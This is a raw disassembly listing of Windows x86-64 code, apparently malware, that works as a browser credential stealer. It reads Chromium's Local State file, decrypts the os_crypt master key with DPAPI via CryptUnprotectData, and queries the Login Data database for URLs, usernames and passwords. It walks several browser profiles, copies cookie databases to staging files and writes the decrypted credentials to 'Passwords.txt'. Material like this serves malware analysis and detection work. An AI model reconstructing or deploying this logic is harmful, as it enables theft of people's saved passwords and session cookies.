lea rcx, [rsp + 0x1b70]
call fcn.140030db0
nop
mov r8, rax
lea rdx, [rsp + 0x468]
mov rcx, rbx
call fcn.14005d3b0
nop
mov rcx, rax
call fcn.14000de30
nop
lea rcx, [rsp + 0x468]
call fcn.140009200
nop
lea rcx, [rsp + 0x1b70]
call fcn.1400311b0
nop
lea rcx, [rsp + 0x478]
call fcn.140009200
nop
lea rcx, [rsp + 0x490]
call fcn.140009200
nop
lea rcx, [rsp + 0x80]
call fcn.14000bf50
nop
lea rcx, [rsp + 0x2980]
call fcn.140009200
nop
lea rcx, [rsp + 0x2ab0]
call fcn.140009200
nop
lea rcx, [rsp + 0x32e8]
call fcn.140006630
nop
lea rcx, [rsp + 0x31e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2a08]
call fcn.140009200
nop
lea rcx, [rsp + 0x2aa0]
call fcn.140009200
nop
lea rcx, [rsp + 0x3268]
call fcn.140006630
nop
lea rcx, [rsp + 0x3288]
call fcn.140047270
nop
lea rcx, [rsp + 0x2970]
call fcn.14000e440
nop
lea rcx, [rsp + 0x3b40]
call fcn.140031100
nop
lea rcx, [rsp + 0x2d40]
call fcn.140006630
nop
lea rcx, [rsp + 0x2c88]
call fcn.140006630
nop
lea rcx, [rsp + 0x2c68]
call fcn.140006630
mov r15d, dword [rsp + 0x40]
add rsi, 0x20
jmp 0x1400279af
add rsi, 0x20
jmp 0x1400279af
mov rcx, qword [rsp + 0x2498]
call qword [sym.imp.KERNEL32.dll_LocalFree]
nop
lea rcx, [rsp + 0x2a28]
call fcn.140043570
nop
lea rcx, [rsp + 0x31c0]
call fcn.1400420a0
nop
lea rcx, [rsp + 0x29d0]
call fcn.140043570
nop
lea rcx, [rsp + 0x2930]
call fcn.140043570
nop
lea rcx, [rsp + 0x2cc8]
call fcn.140043570
nop
lea rcx, [rsp + 0x3228]
call fcn.140047270
nop
lea rcx, [rsp + 0x3208]
call fcn.140047270
nop
lea rcx, [rsp + 0x2b70]
call fcn.1400439f0
xor r14d, r14d
lea rsi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
lea rcx, [rsp + 0x2d20]
call fcn.140047270
nop
lea rcx, [rsp + 0x39c0]
call fcn.140010a80
nop
lea rcx, [rsp + 0x2a80]
call fcn.140047270
nop
lea rcx, [rsp + 0x2f80]
call fcn.140047270
nop
lea rcx, [rsp + 0x28e8]
call fcn.140043850
nop
lea rcx, [rsp + 0x3a30]
call fcn.140013180
nop
lea rcx, [rsp + 0x2d00]
call fcn.140047270
nop
lea rcx, [rsp + 0x2f60]
call fcn.140047270
lea rdx, [rsp + 0x2628]
lea rcx, [rsp + 0x7e0]
call fcn.14005bb10
nop
lea rcx, [rsp + 0x7e0]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0x7e0]
call fcn.140006630
test bl, bl
je 0x14002def2
lea rdx, str.92_76_111_99_97_108_32_83_116_97_116_101
lea rcx, [rsp + 0x7c0]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x7c0]
lea rcx, [rsp + 0x2888]
call fcn.140026440
nop
lea rcx, [rsp + 0x7c0]
call fcn.140047270
lea r8, [rsp + 0x2888]
lea rdx, [rsp + 0x2628]
lea rcx, [rsp + 0x2728]
call fcn.1400521d0
nop
lea rdx, [rsp + 0x2728]
lea rcx, [rsp + 0x660]
call fcn.14005bb10
nop
lea rcx, [rsp + 0x660]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0x660]
call fcn.140006630
test bl, bl
je 0x14002de34
lea rcx, [rsp + 0x2d60]
call fcn.140013220
mov r8d, 1
lea rdx, [rsp + 0x2728]
lea rcx, [rsp + 0x2d60]
call fcn.140041c40
nop
cmp qword [rsp + 0x2df0], 0
jne 0x14002842a
lea rdx, str.Failed_to_open_JSON_file.
lea rcx, [0x14035b8a0]
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
nop
lea rcx, [rsp + 0x2d60]
call fcn.140013180
nop
lea rcx, [rsp + 0x2728]
call fcn.140047270
nop
lea rcx, [rsp + 0x2888]
call fcn.140047270
nop
lea rcx, [rsp + 0x27e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2848]
call fcn.140047270
nop
lea rcx, [rsp + 0x2808]
call fcn.140047270
nop
lea rcx, [rsp + 0x2828]
call fcn.140047270
nop
lea rcx, [rsp + 0x2628]
call fcn.140047270
nop
lea rcx, [rsp + 0x2708]
call fcn.140006630
nop
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2648]
call fcn.140047270
nop
lea rcx, [rsp + 0x2868]
call fcn.140047270
nop
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
jmp 0x14002e275
xor edx, edx
lea rcx, [rsp + 0x2668]
call fcn.14004c6b0
nop
lea rdx, [rsp + 0x2668]
lea rcx, [rsp + 0x2d60]
call fcn.140043720
lea rcx, [rsp + 0x2d60]
call fcn.140041ba0
lea rdx, [rsp + 0x1c70]
lea rcx, [rsp + 0x2668]
call fcn.14005bb70
mov r10, rax
lea rdx, [rsp + 0x1c90]
lea rcx, [rsp + 0x2668]
call fcn.1400437c0
mov rdx, rax
mov rcx, r10
call fcn.14005bd40
test al, al
je 0x14002dd9d
lea rdx, str.os_crypt
lea rcx, [rsp + 0x2668]
call fcn.14005af90
lea rdx, [rsp + 0x1bb0]
mov rcx, rax
call fcn.14005be10
mov rbx, rax
lea rdx, str.os_crypt
lea rcx, [rsp + 0x2668]
call fcn.14005af90
lea rdx, [rsp + 0x1bd0]
mov rcx, rax
call fcn.1400437c0
mov rdx, rax
mov rcx, rbx
call fcn.14005bd40
test al, al
je 0x14002dd9d
lea rdx, str.os_crypt
lea rcx, [rsp + 0x2668]
call fcn.14005af90
lea rdx, str.encrypted_key
mov rcx, rax
call fcn.14005af90
lea rdx, [rsp + 0x28a8]
mov rcx, rax
call fcn.14005b0b0
nop
lea rcx, [rsp + 0x2748]
call fcn.140047590
nop
lea rcx, [rsp + 0x2ef0]
call fcn.140013280
mov ecx, 0x68
call fcn.14025e8a8
mov rbx, rax
mov qword [rsp + 0x448], rax
mov rcx, rax
call fcn.1400310d0
mov ecx, 0x20
call fcn.14025e8a8
mov qword [rsp + 0x450], rax
mov rcx, rax
call fcn.140030df0
lea rdx, [rsp + 0x2748]
call fcn.140042f40
nop
mov rdx, rax
mov rcx, rbx
call fcn.140010e10
mov rbx, rax
lea rcx, [rsp + 0x28a8]
call fcn.140046fe0
mov qword [rsp + 0x20], rbx
mov r8, qword [rsp + 0x28b8]
mov rdx, rax
lea rcx, [rsp + 0x2ef0]
call fcn.1400108c0
nop
lea rdx, str.DPAPI
lea rcx, [rsp + 0x27a8]
call fcn.140011ee0
nop
mov r9, qword [rsp + 0x27b8]
xor r8d, r8d
lea rdx, [rsp + 0x1610]
lea rcx, [rsp + 0x2748]
call fcn.140046dc0
lea rdx, [rsp + 0x27a8]
mov rcx, rax
call fcn.140055450
movzx ebx, al
lea rcx, [rsp + 0x1610]
call fcn.140047270
test bl, bl
je 0x140028661
mov r9, 0xffffffffffffffff
mov r8, qword [rsp + 0x27b8]
lea rdx, [rsp + 0x1630]
lea rcx, [rsp + 0x2748]
call fcn.140046dc0
mov rdx, rax
lea rcx, [rsp + 0x2748]
call fcn.1400472d0
lea rcx, [rsp + 0x1630]
call fcn.140047270
xor edx, edx
lea rcx, [rsp + 0x2748]
call fcn.140047070
mov qword [rsp + 0x24c8], rax
mov eax, dword [rsp + 0x2758]
mov dword [rsp + 0x24c0], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x24a0], xmm0
lea rax, [rsp + 0x24a0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x24c0]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x14002dc46
lea rcx, [rsp + 0x26b8]
call fcn.140014e40
mov r8d, dword [rsp + 0x24a0]
mov rdx, qword [rsp + 0x24a8]
add r8, rdx
lea rcx, [rsp + 0x26b8]
call fcn.14005bfe0
nop
lea rcx, [rsp + 0x26d0]
call fcn.140014e40
lea rdx, str.71_117_101_115_116_32_80_114_111_102_105_108_101
lea rcx, [rsp + 0x1a90]
call fcn.140011ee0
nop
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0x1ab0]
call fcn.140011ee0
nop
lea rdx, str.80_114_111_102_105_108_101_32_49
lea rcx, [rsp + 0x1ad0]
call fcn.140011ee0
nop
lea rdx, str.80_114_111_102_105_108_101_32_50
lea rcx, [rsp + 0x1af0]
call fcn.140011ee0
nop
lea rdx, str.80_114_111_102_105_108_101_32_51
lea rcx, [rsp + 0x1b10]
call fcn.140011ee0
nop
lea rdx, str.80_114_111_102_105_108_101_32_52
lea rcx, [rsp + 0x1b30]
call fcn.140011ee0
nop
lea rdx, str.80_114_111_102_105_108_101_32_53
lea rcx, [rsp + 0x1b50]
call fcn.140011ee0
nop
lea rax, [rsp + 0x1a90]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x1b70]
mov qword [rsp + 0x2e8], rax
movaps xmm0, xmmword [rsp + 0x2e0]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x26d0]
call fcn.1400435e0
nop
lea r9, [fcn.140047270]
mov edx, 0x20
lea r8d, [rdx - 0x19]
lea rcx, [rsp + 0x1a90]
call fcn.14025e8e4
xor dil, dil
mov r12, qword [rsp + 0x26d0]
mov rax, qword [rsp + 0x26d8]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x48], r12
cmp r12, qword [rsp + 0x58]
je 0x140029377
mov r15, r12
mov qword [rsp + 0x25e0], r12
mov rdx, r12
lea rcx, [rsp + 0x1650]
call fcn.140026440
mov rdx, rax
mov rcx, r12
call fcn.1400472d0
lea rcx, [rsp + 0x1650]
call fcn.140047270
mov r8, r13
lea rdx, [rsp + 0x2628]
lea rcx, [rsp + 0x1670]
call fcn.1400520f0
nop
mov r8, r12
mov rdx, rax
lea rcx, [rsp + 0x2c48]
call fcn.1400522b0
nop
lea rcx, [rsp + 0x1670]
call fcn.140047270
lea rcx, [rsp + 0x2a60]
call fcn.140047590
nop
lea rcx, [rsp + 0x2948]
call fcn.140047590
nop
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
lea rdx, str.92_76_111_103_105_110_32_68_97_116_97
test al, al
je 0x1400289b8
lea rcx, [rsp + 0x4e0]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x4e0]
lea rcx, [rsp + 0x16b0]
call fcn.140026440
nop
mov r8, rax
lea rdx, [rsp + 0x2628]
lea rcx, [rsp + 0x1690]
call fcn.140052240
mov rdx, rax
lea rcx, [rsp + 0x2a60]
call fcn.1400472d0
lea rcx, [rsp + 0x1690]
call fcn.140047270
nop
lea rcx, [rsp + 0x16b0]
call fcn.140047270
nop
lea rcx, [rsp + 0x4e0]
call fcn.140047270
lea rdx, str.92_70_114_101_100_121_95_68_97_116_97
lea rcx, [rsp + 0x4c0]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x4c0]
lea rcx, [rsp + 0x16f0]
call fcn.140026440
nop
mov r8, rax
lea rdx, [rsp + 0x2628]
lea rcx, [rsp + 0x16d0]
call fcn.140052240
mov rdx, rax
lea rcx, [rsp + 0x2948]
call fcn.1400472d0
lea rcx, [rsp + 0x16d0]
call fcn.140047270
nop
lea rcx, [rsp + 0x16f0]
call fcn.140047270
nop
lea rcx, [rsp + 0x4c0]
jmp 0x140028aa4
lea rcx, [rsp + 0xde0]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xde0]
lea rcx, [rsp + 0x1730]
call fcn.140026440
nop
mov r8, rax
lea rdx, [rsp + 0x2c48]
lea rcx, [rsp + 0x1710]
call fcn.140052240
mov rdx, rax
lea rcx, [rsp + 0x2a60]
call fcn.1400472d0
lea rcx, [rsp + 0x1710]
call fcn.140047270
nop
lea rcx, [rsp + 0x1730]
call fcn.140047270
nop
lea rcx, [rsp + 0xde0]
call fcn.140047270
lea rdx, str.92_70_114_101_100_121_95_68_97_116_97
lea rcx, [rsp + 0xdc0]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xdc0]
lea rcx, [rsp + 0x1770]
call fcn.140026440
nop
mov r8, rax
lea rdx, [rsp + 0x2c48]
lea rcx, [rsp + 0x1750]
call fcn.140052240
mov rdx, rax
lea rcx, [rsp + 0x2948]
call fcn.1400472d0
lea rcx, [rsp + 0x1750]
call fcn.140047270
nop
lea rcx, [rsp + 0x1770]
call fcn.140047270
nop
lea rcx, [rsp + 0xdc0]
call fcn.140047270
lea rdx, [rsp + 0x2a60]
lea rcx, [rsp + 0xc60]
call fcn.14005bb10
nop
lea rcx, [rsp + 0xc60]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0xc60]
call fcn.140006630
test bl, bl
je 0x1400291e2
lea rdx, [rsp + 0x2948]
lea rcx, [rsp + 0xb40]
call fcn.14005bb10
nop
lea rcx, [rsp + 0xb40]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0xb40]
call fcn.140006630
test bl, bl
je 0x140028b4c
lea rdx, [rsp + 0x2948]
lea rcx, [rsp + 0xb20]
call fcn.14005bb10
nop
lea rcx, [rsp + 0xb20]
call fcn.140009f30
nop
lea rcx, [rsp + 0xb20]
call fcn.140006630
lea rdx, [rsp + 0x2948]
lea rcx, [rsp + 0xae0]
call fcn.14005bb10
nop
lea rdx, [rsp + 0x2a60]
lea rcx, [rsp + 0xb00]
call fcn.14005bb10
nop
lea rdx, [rsp + 0xae0]
lea rcx, [rsp + 0xb00]
call fcn.140009e10
movzx ebx, al
lea rcx, [rsp + 0xb00]
call fcn.140006630
nop
lea rcx, [rsp + 0xae0]
call fcn.140006630
test bl, bl
je 0x1400291e2
test dil, dil
jne 0x1400291e2
lea rcx, [rsp + 0x2948]
call fcn.140046fe0
mov rcx, rax
lea rdx, [rsp + 0x2488]
call fcn.140180f50
mov rcx, qword [rsp + 0x2488]
test eax, eax
je 0x140028d85
call fcn.14017ede0
nop
lea rcx, [rsp + 0x2948]
call fcn.140047270
nop
lea rcx, [rsp + 0x2a60]
call fcn.140047270
nop
lea rcx, [rsp + 0x2c48]
call fcn.140047270
nop
lea rcx, [rsp + 0x26d0]
call fcn.140043570
nop
lea rcx, [rsp + 0x26b8]
call fcn.1400439f0
nop
lea rcx, [rsp + 0x27a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ef0]
call fcn.140010a80
nop
lea rcx, [rsp + 0x2748]
call fcn.140047270
nop
lea rcx, [rsp + 0x28a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2668]
call fcn.140043850
nop
lea rcx, [rsp + 0x2d60]
call fcn.140013180
nop
lea rcx, [rsp + 0x2728]
call fcn.140047270
nop
lea rcx, [rsp + 0x2888]
call fcn.140047270
nop
lea rcx, [rsp + 0x27e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2848]
call fcn.140047270
nop
lea rcx, [rsp + 0x2808]
call fcn.140047270
nop
lea rcx, [rsp + 0x2828]
call fcn.140047270
nop
lea rcx, [rsp + 0x2628]
call fcn.140047270
nop
lea rcx, [rsp + 0x2708]
call fcn.140006630
nop
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2648]
call fcn.140047270
nop
lea rcx, [rsp + 0x2868]
call fcn.140047270
nop
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
jmp 0x14002e275
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x2478]
mov r8d, 0xffffffff
lea rdx, str.SELECT_action_url__username_value__password_value_FROM_logins
call fcn.140181de0
test eax, eax
je 0x140028f50
mov rcx, qword [rsp + 0x2488]
call fcn.14017ede0
nop
lea rcx, [rsp + 0x2948]
call fcn.140047270
nop
lea rcx, [rsp + 0x2a60]
call fcn.140047270
nop
lea rcx, [rsp + 0x2c48]
call fcn.140047270
nop
lea rcx, [rsp + 0x26d0]
call fcn.140043570
nop
lea rcx, [rsp + 0x26b8]
call fcn.1400439f0
nop
lea rcx, [rsp + 0x27a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ef0]
call fcn.140010a80
nop
lea rcx, [rsp + 0x2748]
call fcn.140047270
nop
lea rcx, [rsp + 0x28a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2668]
call fcn.140043850
nop
lea rcx, [rsp + 0x2d60]
call fcn.140013180
nop
lea rcx, [rsp + 0x2728]
call fcn.140047270
nop
lea rcx, [rsp + 0x2888]
call fcn.140047270
nop
lea rcx, [rsp + 0x27e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2848]
call fcn.140047270
nop
lea rcx, [rsp + 0x2808]
call fcn.140047270
nop
lea rcx, [rsp + 0x2828]
call fcn.140047270
nop
lea rcx, [rsp + 0x2628]
call fcn.140047270
nop
lea rcx, [rsp + 0x2708]
call fcn.140006630
nop
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2648]
call fcn.140047270
nop
lea rcx, [rsp + 0x2868]
call fcn.140047270
nop
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
jmp 0x14002e275
mov rcx, qword [rsp + 0x2478]
call fcn.140182a40
cmp eax, 0x64
jne 0x14002915a
xor edx, edx
mov rcx, qword [rsp + 0x2478]
call fcn.140183030
mov rsi, rax
mov edx, 1
mov rcx, qword [rsp + 0x2478]
call fcn.140183030
mov r14, rax
mov edx, 2
mov rcx, qword [rsp + 0x2478]
call fcn.140183030
mov rdi, rax
test rax, rax
je 0x140028f50
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x140028fb0
test rcx, rcx
je 0x140028f50
test rsi, rsi
je 0x140028f50
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x140028fd0
test rax, rax
je 0x140028f50
test r14, r14
je 0x140028f50
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r14 + rax], 0
jne 0x140028ff2
test rax, rax
je 0x140028f50
mov r8, qword [rsp + 0x26c0]
mov rdx, qword [rsp + 0x26b8]
lea rcx, [rsp + 0x1790]
call fcn.14005c1d0
mov rbx, rax
mov rdx, rdi
lea rcx, [rsp + 0xac0]
call fcn.140011ee0
nop
mov r9, rbx
lea r8, [rsp + 0xac0]
lea rdx, [rsp + 0x30a0]
call fcn.14002e410
nop
lea rcx, [rsp + 0xac0]
call fcn.140047270
nop
lea rcx, [rsp + 0x1790]
call fcn.140047270
lea r8, str.Passwords.txt
lea rdx, [0x14035d6f0]
lea rcx, [rsp + 0x3020]
call fcn.1400256d0
nop
lea rcx, [rsp + 0x3390]
call fcn.1400311a0
lea rdx, [rsp + 0x3020]
lea rcx, [rsp + 0x3390]
call fcn.14003f230
nop
cmp qword [rsp + 0x3418], 0
je 0x140029327
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
je 0x140029214
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0xaa0]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xaa0]
lea rcx, [rsp + 0x17b0]
call fcn.140026440
mov rdx, rax
mov rcx, r15
call fcn.140055450
movzx ebx, al
lea rcx, [rsp + 0x17b0]
call fcn.140047270
nop
lea rcx, [rsp + 0xaa0]
call fcn.140047270
test bl, bl
jne 0x140029214
lea rcx, [rsp + 0x3390]
call fcn.140031100
nop
lea rcx, [rsp + 0x3020]
call fcn.140006630
nop
lea rcx, [rsp + 0x30a0]
call fcn.140047270
nop
mov rcx, qword [rsp + 0x2478]
call fcn.140164c40
mov rcx, qword [rsp + 0x2488]
call fcn.14017ede0
lea rdx, [rsp + 0x2948]
lea rcx, [rsp + 0xa80]
call fcn.14005bb10
nop
lea rcx, [rsp + 0xa80]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0xa80]
call fcn.140006630
test bl, bl
je 0x1400291dc
lea rdx, [rsp + 0x2948]
lea rcx, [rsp + 0xa60]
call fcn.14005bb10
nop
lea rcx, [rsp + 0xa60]
call fcn.140009f30
nop
lea rcx, [rsp + 0xa60]
call fcn.140006630
xor dil, dil
xor r14d, r14d
lea rcx, [rsp + 0x2948]
call fcn.140047270
nop
lea rcx, [rsp + 0x2a60]
call fcn.140047270
nop
lea rcx, [rsp + 0x2c48]
call fcn.140047270
add r12, 0x20
jmp 0x14002880a
lea rdx, str.BROWSER_NAME_:
lea rcx, [rsp + 0x3390]
call fcn.140053ef0
lea rdx, [rsp + 0x2648]
mov rcx, rax
call fcn.140053ed0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.PROFILE_:
lea rcx, [rsp + 0x3390]
call fcn.140053ef0
mov rdx, r15
mov rcx, rax
call fcn.140053ed0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.__________________________________
lea rcx, [rsp + 0x3390]
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.URL_:
lea rcx, [rsp + 0x3390]
call fcn.140053ef0
mov rdx, rsi
mov rcx, rax
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.USERNAME_:
lea rcx, [rsp + 0x3390]
call fcn.140053ef0
mov rdx, r14
mov rcx, rax
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.PASSWORD_:
lea rcx, [rsp + 0x3390]
call fcn.140053ef0
lea rdx, [rsp + 0x30a0]
mov rcx, rax
call fcn.140053ed0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.__________________________________
lea rcx, [rsp + 0x3390]
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rcx, [rsp + 0x3390]
call fcn.14003f190
nop
lea rcx, [rsp + 0x3390]
call fcn.140031100
nop
lea rcx, [rsp + 0x3020]
call fcn.140006630
nop
lea rcx, [rsp + 0x30a0]
call fcn.140047270
nop
jmp 0x140028f50
mov rdi, qword [rsp + 0x26d0]
mov rax, qword [rsp + 0x26d8]
mov qword [rsp + 0x25e0], rax
mov qword [rsp + 0x48], rdi
cmp rdi, qword [rsp + 0x25e0]
je 0x14002a298
mov qword [rsp + 0x58], rdi
lea rcx, [rsp + 0x2a40]
call fcn.140047590
nop
lea rcx, [rsp + 0x3310]
call fcn.1400310a0
lea rcx, [rsp + 0x3310]
call fcn.14003f7c0
nop
mov r8, rdi
lea rdx, [rsp + 0x2ce0]
lea rcx, [rsp + 0x3310]
call fcn.14003f6a0
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
jne 0x14002941b
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
je 0x140029471
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x17f0]
call fcn.140011ee0
nop
mov r8, qword [rsp + 0x2600]
mov rdx, rax
lea rcx, [rsp + 0x17d0]
call fcn.1400522b0
mov rdx, rax
lea rcx, [rsp + 0x2628]
call fcn.1400472d0
lea rcx, [rsp + 0x17d0]
call fcn.140047270
nop
lea rcx, [rsp + 0x17f0]
call fcn.140047270
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
lea rdx, str.92_78_101_116_119_111_114_107
test al, al
je 0x140029506
lea rcx, [rsp + 0xa40]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xa40]
lea rcx, [rsp + 0x1830]
call fcn.140026440
nop
mov r8, rax
lea rdx, [rsp + 0x2628]
lea rcx, [rsp + 0x1810]
call fcn.140052240
mov rdx, rax
lea rcx, [rsp + 0x2a40]
call fcn.1400472d0
lea rcx, [rsp + 0x1810]
call fcn.140047270
nop
lea rcx, [rsp + 0x1830]
call fcn.140047270
nop
lea rcx, [rsp + 0xa40]
jmp 0x1400295bc
lea rcx, [rsp + 0xa20]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xa20]
lea rcx, [rsp + 0x18b0]
call fcn.140026440
mov rbx, rax
mov r8, r13
lea rdx, [rsp + 0x2628]
lea rcx, [rsp + 0x1890]
call fcn.1400520f0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x1870]
call fcn.1400522b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1850]
call fcn.140052320
mov rdx, rax
lea rcx, [rsp + 0x2a40]
call fcn.1400472d0
lea rcx, [rsp + 0x1850]
call fcn.140047270
nop
lea rcx, [rsp + 0x1870]
call fcn.140047270
nop
lea rcx, [rsp + 0x1890]
call fcn.140047270
nop
lea rcx, [rsp + 0x18b0]
call fcn.140047270
nop
lea rcx, [rsp + 0xa20]
call fcn.140047270
lea rdx, str.92_67_111_111_107_105_101_115
lea rcx, [rsp + 0xb60]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xb60]
lea rcx, [rsp + 0x18d0]
call fcn.140026440
nop
mov r8, rax
lea rdx, [rsp + 0x2a40]
lea rcx, [rsp + 0x2c08]
call fcn.140052240
nop
lea rcx, [rsp + 0x18d0]
call fcn.140047270
nop
lea rcx, [rsp + 0xb60]
call fcn.140047270
lea rdx, [rsp + 0x2c08]
lea rcx, [rsp + 0xe80]
call fcn.14005bb10
nop
lea rcx, [rsp + 0xe80]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0xe80]
call fcn.140006630
test bl, bl
je 0x14002a11f
lea rdx, str.92_70_114_101_100_121_95_67_111_111_107_105_101_115
lea rcx, [rsp + 0xe60]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xe60]
lea rcx, [rsp + 0x18f0]
call fcn.140026440
nop
mov r8, rax
lea rdx, [rsp + 0x2a40]
lea rcx, [rsp + 0x29e8]
call fcn.140052240
nop
lea rcx, [rsp + 0x18f0]
call fcn.140047270
nop
lea rcx, [rsp + 0xe60]
call fcn.140047270
lea rdx, [rsp + 0x29e8]
lea rcx, [rsp + 0xe40]
call fcn.14005bb10
nop
lea rcx, [rsp + 0xe40]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0xe40]
call fcn.140006630
test bl, bl
je 0x140029722
lea rdx, [rsp + 0x29e8]
lea rcx, [rsp + 0xda0]
call fcn.14005bb10
nop
lea rcx, [rsp + 0xda0]
call fcn.140009f30
nop
lea rcx, [rsp + 0xda0]
call fcn.140006630
lea rdx, [rsp + 0x29e8]
lea rcx, [rsp + 0xd60]
call fcn.14005bb10
nop
lea rdx, [rsp + 0x2c08]
lea rcx, [rsp + 0xd80]
call fcn.14005bb10
nop
lea rdx, [rsp + 0xd60]
lea rcx, [rsp + 0xd80]
call fcn.140009e10
movzx ebx, al
lea rcx, [rsp + 0xd80]
call fcn.140006630
nop
lea rcx, [rsp + 0xd60]
call fcn.140006630
test bl, bl
je 0x14002a111
lea rcx, [rsp + 0x29e8]
call fcn.140046fe0
mov rcx, rax
lea rdx, [rsp + 0x2480]
call fcn.140180f50
mov rcx, qword [rsp + 0x2480]
test eax, eax
je 0x14002996e
call fcn.14017ede0
nop
lea rcx, [rsp + 0x29e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2c08]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ce0]
call fcn.140006630
nop
lea rcx, [rsp + 0x3310]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2a40]
call fcn.140047270
nop
lea rcx, [rsp + 0x26d0]
call fcn.140043570
nop
lea rcx, [rsp + 0x26b8]
call fcn.1400439f0
nop
lea rcx, [rsp + 0x27a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ef0]
call fcn.140010a80
nop
lea rcx, [rsp + 0x2748]
call fcn.140047270
nop
lea rcx, [rsp + 0x28a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2668]
call fcn.140043850
nop
lea rcx, [rsp + 0x2d60]
call fcn.140013180
nop
lea rcx, [rsp + 0x2728]
call fcn.140047270
nop
lea rcx, [rsp + 0x2888]
call fcn.140047270
nop
lea rcx, [rsp + 0x27e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2848]
call fcn.140047270
nop
lea rcx, [rsp + 0x2808]
call fcn.140047270
nop
lea rcx, [rsp + 0x2828]
call fcn.140047270
nop
lea rcx, [rsp + 0x2628]
call fcn.140047270
nop
lea rcx, [rsp + 0x2708]
call fcn.140006630
nop
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2648]
call fcn.140047270
nop
lea rcx, [rsp + 0x2868]
call fcn.140047270
nop
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
